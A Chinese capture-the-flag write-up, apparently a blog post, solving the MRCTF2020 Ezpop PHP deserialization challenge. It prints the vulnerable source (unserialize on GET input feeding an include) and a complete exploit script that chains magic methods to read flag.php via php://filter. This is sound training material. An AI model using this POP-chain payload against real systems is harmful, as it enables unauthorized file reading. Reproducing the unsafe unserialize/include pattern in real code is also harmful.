【BUUCTF】[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

一道pop链的问题,反序列化漏洞进阶
思路如下
声明一个show类,会调用__wakeup()方法

public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

我们让this->source也是一个show类,则会调用其__toString方法

public function __toString(){
        return $this->str->source;
    }

我们接下来让this->str是一个Test类,其没有source属性,则会调用__get方法

 public function __get($key){
        $function = $this->p;
        return $function();
    }

我们最后让this->pModifier类,就会执行__invoke方法,同时注意最核心的append方法中有include函数,可以使用php伪协议读文件

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

pop链构造依次如下

$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();

最后exp如下

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
 
}
 
class Test{
    public $p;
	
}
 
class Show{
    public $source;
    public $str;
    
}
 
$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
 
echo urlencode(serialize($a));
 
?>

最后总结使用到的魔法函数的知识

1.__invoke()当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。比如执行Test(),而Test是我们创立的一个类,这样就会调用__invoke()函数
2.__get() 当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
3. __toString() 方法是自动被调用的,是在直接输出对象引用时自动调用的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值